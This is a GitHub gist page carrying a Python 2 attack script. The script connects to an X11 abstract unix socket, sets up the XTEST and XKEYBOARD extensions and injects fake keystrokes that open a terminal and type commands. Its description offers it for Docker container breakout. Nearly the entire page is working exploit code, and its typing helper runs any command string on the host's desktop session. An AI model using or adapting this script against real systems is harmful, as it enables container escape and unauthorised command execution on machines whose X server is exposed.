Skip to content

Instantly share code, notes, and snippets.

@staaldraad
Last active Aug 28, 2022
Embed
What would you like to do?
Python script to do keystrokes via X11 abstract socket. Useful for silly docker breakout.
#!/usr/bin/python
"""
Python script to connect to an abstract unix socket created by X11 and send arbitrary key-strokes.
Created by: etienne@sensepost.com
Credits to: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb
Borrowed heavily from the original metasploit module. Thanks!
"""
from socket import *
import subprocess
import os
import binascii
import time
# Create an unbond and not-connected socket.
sock = socket(AF_UNIX, SOCK_STREAM)
sock.connect("\0/tmp/.X11-unix/X0")
#sock.connect("\0dockerlogger")
def xexit():
sock.close()
exit(1)
def press_key(key):
req = keyboard_code()
req += xtest_opcode
req += "\x02" # Extension minor: 2 (FakeInput)
req += "\x09\x00" # Request length: 9
req += "\x02" # Press key (Type: 2)
req += key # What key to press
req += "\x04\x00" # Unused?
req += "\x00\x00\x00\x00" # Time
req += "\x00\x00\x00\x00" # Root
req += "\x07\x00\x07\x00" # Unused?
req += "\x88\x04\x02\x00" # Unused?
req += "\x00\x00" # rootX: 0
req += "\x00\x00" # rootY: 0
req += "\x00\x00\x00\x00" # Unused?
req += "\x00\x00\x00" # Unused?
req += "\x00" # deviceid: 0
req += keyboard_code()
req += "\x2b" # Opcode 43: GetInputFocus
req += "\x00" # Unused
req += "\x01\x00" # Request length: 1
msg = sendmsg(req)
# When the socket is closed cleanly, recv unblocks and returns ""
if msg[0] != '\x01':
print "[x] Couldn't Authenticate"
xexit()
def release_key(key):
req = keyboard_code()
req += xtest_opcode
req += "\x02" # Extension minor: 2 (FakeInput)
req += "\x09\x00" # Request length: 9
req += "\x03" # Press key (Type: 2)
req += key # What key to press
req += "\x04\x00" # Unused?
req += "\x00\x00\x00\x00" # Time
req += "\x00\x00\x00\x00" # Root
req += "\x07\x00\x07\x00" # Unused?
req += "\x88\x04\x02\x00" # Unused?
req += "\x00\x00" # rootX: 0
req += "\x00\x00" # rootY: 0
req += "\x00\x00\x00\x00" # Unused?
req += "\x00\x00\x00" # Unused?
req += "\x00" # deviceid: 0
req += keyboard_code()
req += "\x2b" # Opcode 43: GetInputFocus
req += "\x00" # Unused
req += "\x01\x00" # Request length: 1
msg = sendmsg(req)
# When the socket is closed cleanly, recv unblocks and returns ""
if msg[0] != '\x01':
print "[x] Couldn't Authenticate"
xexit()
def keyboard_code():
req = ""
req += xkbd_opcode
req += "\x05" # Extension minor: 5 (LatchLockState)
req += "\x04\x00" # Request length: 4
req += "\x00\x01" # DeviceSpec: 0x0100 (256)
req += "\x00" # affectModLocks: 0
req += "\x00" # modLocks: 0
req += "\x01" # lockGroup: True
req += "\x00" # groupLock: 0
req += "\x00" # affectModLatches: 0
req += "\x00" # Unused
req += "\x00" # latchGroup: False
req += "\x00\x00" # groupLatch: 0
req += "\x00" # Undecoded
return req
keys={'1':"\x0a",'2':"\x0b",'3':"\x0c",'4':"\x0d",'5':"\x0e",'6':"\x0f",'7':"\x10",'&':"\x10",'8':"\x11",'9':"\x12",'(':"\x12",'0':"\x13",')':"\x13",'-':"\x14",'=':"\x15",'q':"\x18",'w':"\x19",'e':"\x1a",'r':"\x1b",'t':"\x1c",'y':"\x1d",'u':"\x1e",'i':"\x1f",'o':"\x20",'p':"\x21",'[':"\x22",'{':"\x22",']':"\x23",'}':"\x23",'a':"\x26",'s':"\x27",'d':"\x28",'f':"\x29",'g':"\x2a",'h':"\x2b",'j':"\x2c",'k':"\x2d",'l':"\x2e",';':"\x2f",':':"\x2f","'":"\x30",'"':"\x30",'`':"\x31",'~':"\x31",'lshift':"\x32",'\\':"\x33",'|':"\x33",'z':"\x34",'x':"\x35",'c':"\x36",'v':"\x37",'b':"\x38",'n':"\x39",'m':"\x3a",',':"\x3b",'<':"\x3b",'.':"\x3c",'>':"\x3c",'/':"\x3d",'*':"\x3f",'alt':"\x40",' ':"\x41",'f2':"\x44"}
def typecommand(cmd):
for x in cmd:
#check if special key.. <>{}|"&()
if x in ['<','>','{','}','{','}','|','"','&','(',')']:
press_key(keys['lshift'])
press_key(keys[x])
release_key(keys[x])
release_key(keys['lshift'])
#check if uppercase
elif x >= 'A' and x <= 'Z':
press_key(keys['lshift'])
press_key(keys[x.lower()])
release_key(keys[x.lower()])
release_key(keys['lshift'])
else:
press_key(keys[x])
release_key(keys[x])
press_key("\x24") # [enter]
release_key("\x24")
def sendmsg(msg):
resp = ""
sock.send(msg)
while 1:
data = sock.recv(128)
if not data: break
resp += data
if len(data) < 128: break
return resp
# Send reply
msg = sendmsg("\x6c\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00")
# When the socket is closed cleanly, recv unblocks and returns ""
if msg[0] != '\x01':
print "[x] Couldn't Authenticate"
xexit()
else:
print "[*] Woop! We authed..."
#Send keyboard registration
msg = sendmsg("\x62\x00\x05\x00\x09\x00\x60\x03XKEYBOARD\x00\x00\x00")
if msg[0] != '\x01':
print "[x] Keyboard Registration failed"
print binascii.hexlify(msg)
xexit()
#extract keyboard opcode
xkbd_opcode = msg[9]
#send info request
msg = sendmsg(xkbd_opcode+"\x00\x02\x00\x01\x00\x00\x00")
if msg[0] != '\x01':
print "[x] Keyboard info failed"
print binascii.hexlify(msg)
xexit()
else:
print "[*] Woop! Keyboard info"
sock.send("\x62\x00\x06\x00\x0f\x00\x00\x00XInputExtension\x00")
msg = sock.recv(2048)
if msg[0] != '\x01':
print "[x] Input extension"
print binascii.hexlify(msg)
xxexit()
sock.send("\x62\x00\x04\x00\x05\x00\x00\x00XTEST\x00\x00\x00")
msg = sock.recv(2048)
if msg[0] != '\x01':
print "[x] Test failed"
xexit()
#extract test opcode
xtest_opcode = msg[9]
msg = sendmsg("\x62\x00\x08\x00\x17\x00\x00\x00Generic Event Extension\x00")
if msg[0] != '\x01':
print "[x] Event Extension failed"
print binascii.hexlify(msg)
xexit()
#extract generic event opcode
xgevt_opcode = msg[9]
msg = sendmsg(xgevt_opcode+"\x00\x02\x00\x01\x00\x00\x00")
if msg[0] != '\x01':
print "[x] Opcode generic failed"
print binascii.hexlify(msg)
xexit()
msg = sendmsg(xtest_opcode+"\x00\x02\x00\x02\x00\x02\x00")
if msg[0] != '\x01':
print "[x] Opcode test failed"
print binascii.hexlify(msg)
xexit()
#Get keyboard mapping
msg = sendmsg("\x65\x00\x02\x00\x08\xf8\x02\x00")
if msg[0] != '\x01':
print "[x] Get Keyboard mapping test failed"
print binascii.hexlify(msg)
xexit()
#Get x11 details
msg = sendmsg(xkbd_opcode+"\x08\x07\x00\x00\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
if msg[0] != '\x01':
print "[x] Keyboard info failed"
xexit()
print "[*] Woop! Sending Commands"
press_key('\x40')
press_key('\x44')
release_key('\x40')
release_key('\x44')
time.sleep(1)
typecommand("xfce4-terminal")
time.sleep(1)
typecommand("echo \"HelLO\"")
# Close it
sock.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment